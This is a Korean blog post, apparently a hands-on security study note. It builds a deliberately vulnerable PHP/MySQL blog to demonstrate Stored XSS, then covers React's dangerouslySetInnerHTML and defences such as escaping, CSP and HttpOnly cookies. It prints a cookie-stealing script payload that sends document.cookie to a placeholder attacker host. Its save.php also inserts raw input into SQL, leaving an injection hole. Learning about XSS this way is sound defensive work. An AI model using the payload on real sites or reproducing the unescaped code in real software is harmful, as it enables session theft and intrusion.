반응형
React로 구성된 웹 시스템에서 "Stored XSS" 취약점이 발생한다면 어떻게 대응해야 할까?
이 글은 내가 직접 실습하고 분석한 내용을 정리한 실전 보안 노트다.
간단한 이론과 실습을 바탕으로 공부한 내용이다.
⚠️ Stored XSS란?
- Stored XSS(저장형 크로스사이트스크립팅)는 공격자가 악성 JavaScript 코드를 서버에 저장하고 일반 사용자가 해당 콘텐츠를 열람할 때 브라우저가 그 코드를 실행하는 취약점이다.
🛠️ 실습 환경 구성
- AWS EC2: Ubuntu 20.04
- Apache + PHP + MySQL로 구성한 단순 블로그 시스템
- Kali Linux: 공격자 서버 역할 (python3 웹 서버 사용)
💻 실습 코드 구성
📄 index.php
<?php
$conn = new mysqli("localhost", "root", "", "blog");
$result = $conn->query("SELECT * FROM posts ORDER BY id DESC");
while ($row = $result->fetch_assoc()) {
echo "<h2>" . $row['title'] . "</h2>";
echo "<p>" . $row['content'] . "</p><hr>";
}
?>
<a href="new.php">글 작성하기</a>
📄 new.php
<form action="save.php" method="post">
제목: <input type="text" name="title"><br>
내용:<br>
<textarea name="content" rows="5" cols="40"></textarea><br>
<input type="submit" value="저장">
</form>
📄 save.php
<?php
$conn = new mysqli("localhost", "root", "", "blog");
$title = $_POST['title'];
$content = $_POST['content'];
$sql = "INSERT INTO posts (title, content) VALUES ('$title', '$content')";
$conn->query($sql);
header("Location: index.php");
?>
🗃️ SQL 테이블 생성
CREATE DATABASE blog;
USE blog;
CREATE TABLE posts (
id INT AUTO_INCREMENT PRIMARY KEY,
title TEXT,
content TEXT
);
🧪 악성 입력 예시
<script>new Image().src='http://<kali-ip>:8000/steal?c='+document.cookie</script>
🔍 실습 과정 요약
1. new.php 페이지에서 위 악성 스크립트를 삽입
2. save.php를 통해 DB에 저장됨
3. index.php에서 렌더링 시 사용자 브라우저에서 스크립트 실행됨
4. Kali 서버에서 탈취된 쿠키 로그 확인 가능
⚛️ React에서도 발생 가능한가?
<pre dangerouslySetInnerHTML={{ __html: paragraphBody }} />
- dangerouslySetInnerHTML는 React의 자동 escape 보호를 우회하고 HTML을 직접 삽입함
- 사용자 입력에 <script>나 <img onerror=...>가 포함되면 → 실행됨 → XSS 발생 가능
🛡️ 방어 방법 정리
- 사용자 입력은 반드시 escape 처리 (htmlspecialchars, DOMPurify 등)
- CSP 적용:
Content-Security-Policy: script-src 'self'
- 세션 쿠키는 HttpOnly, Secure, SameSite 속성으로 보호
📋 React 보안 체크리스트 (XSS 중심)
항목 | 확인 |
dangerouslySetInnerHTML 사용 여부 | ☐ |
eval(), Function(), setTimeout("...") 등 동적 실행 코드 존재 | ☐ |
사용자 입력을 직접 href, src, style 등에 바인딩 | ☐ |
CSP 헤더 설정 유무 | ☐ |
세션 쿠키에 HttpOnly, Secure, SameSite 설정 여부 | ☐ |
반응형